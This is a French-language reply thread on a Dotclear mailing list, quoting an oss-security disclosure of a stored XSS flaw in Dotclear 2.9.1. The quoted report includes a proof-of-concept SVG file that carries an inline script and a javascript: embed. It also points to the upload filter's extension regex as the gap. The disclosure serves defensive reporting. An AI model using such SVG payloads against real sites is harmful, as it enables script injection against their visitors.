Bonjour et merci pour le signalement.
Je n'étais pas au courant, non, cela dit c'est mineur comme faille vu
qu'il
faut pouvoir uploader un SVG qui contient du code malicieux.
Ouai, c’est l’effet que ça m’a fait aussi. J’ai prévenu la personne qui
à fait le signalement de mettre à minima votre adresse security@ en
copie la prochaine fois qu’ils trouvent un pb de sécurité…
A+
Aymeric.
2016-05-04 11:56 GMT+02:00 Aymeric <mulx(a)aplu.fr>:
> Bonjour,
>
> Pour information, vous êtes peut être (je l’espère) déjà au courant.
>
> A+
> Aymeric.
>
> -------- Original Message --------
> Subject: [oss-security] Dotclear 2.9.1 XSS vulnerability by SVG
> Date: 2016-05-04 08:46
> From: limingxing <limingxing(a)360.cn>
> To: "oss-security(a)lists.openwall.com"
> <oss-security(a)lists.openwall.com>
> Reply-To: oss-security(a)lists.openwall.com
>
> Hello,
> We find an vulnerability about Dotclear 2.9.1 XSS vulnerability by SVG
>
> inc/core/class.dc.core.php
>
array('media_exclusion','string','/\.(phps?|pht(ml)?|phl)[0-9]*$/i',
>
> Attackers can upload a special SVG picture, for example, add the
> origin
> SVG picture with
> <script>alert(location)</script>
> <foreignObject width="100" height="50"
>
requiredExtensions="http://www.w3.org/1999/xhtml">
> <embed
xmlns="http://www.w3.org/1999/xhtml"
> src="javascript:alert(location)" />
> </foreignObject>
> After upload the special SVG, attackers can publish an article with
> this
> picture with the herf link to this picture. If someone click the
> picture,
> it will jump to the url of the picture, and this will cause XSS.
> Test on Firefox 45.0.2 (20160407164938)with two alerts.
> Test on Chrome 50.0.2661.94m and IE 10.0.10240.16766 with only one
> alert
> (<script>alert (location)</script>)
>
>
> The picture used for test is
>
> <?xml version="1.0" encoding="iso-8859-1"?>
> <!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG
> Version: 6.00 Build 0) -->
> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
>
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
> <svg version="1.1" id="Capa_1"
xmlns="http://www.w3.org/2000/svg"
>
xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"
y="0px"
> viewBox="0 0 22 20" style="enable-background:new 0 0 22
20;"
> xml:space="preserve">
> <g>
> <path style="fill-rule:evenodd;clip-rule:evenodd;"
> d="M0,10.014c0,1.985,1.486,3.632,3.438,3.95l0.688,0.055h3.832v-1.993H4.173
>
>
L3.717,11.99C2.399,11.78,2,10.982,1.943,9.939C1.888,8.942,2.831,8.053,4.475,7.486c0,0-1.214-1.617,0-2.633
>
>
c1.214-1.016,2.967,0.884,2.967,0.884s2.197-4.176,5.463-3.87c4.929,0.463,4.541,5.917,4.541,5.917s2.566,0.439,2.566,2.155
>
>
c0,1.915-2.185,2.087-2.185,2.087h-3.758v1.993h3.806l0.688-0.055C20.514,13.646,22,11.999,22,10.014
>
>
c0-1.744-1.148-3.229-2.751-3.778C19.191,2.782,16.289,0,12.719,0c-2.575,0-4.802,1.447-5.866,3.55
>
>
C6.35,3.01,5.622,2.67,4.812,2.67c-1.519,0-2.75,1.196-2.75,2.67c0,0.385,0.084,0.751,0.234,1.081C0.936,7.076,0,8.439,0,10.014z"
> />
> <polygon style="fill-rule:evenodd;clip-rule:evenodd;"
> points="12,20 12,8.581 16,11 16,9 11,6 6,9 6,11 10,8.581 10,20
> "/>
> </g>
> <script>alert(location)</script>
> <foreignObject width="100" height="50"
>
requiredExtensions="http://www.w3.org/1999/xhtml">
>
> <embed
xmlns="http://www.w3.org/1999/xhtml"
> src="javascript:alert(location)" />
>
> </foreignObject>
>
> </svg>
>
> This vulnerability was found by chenruiqi of Qihoo 360 Codesafe Team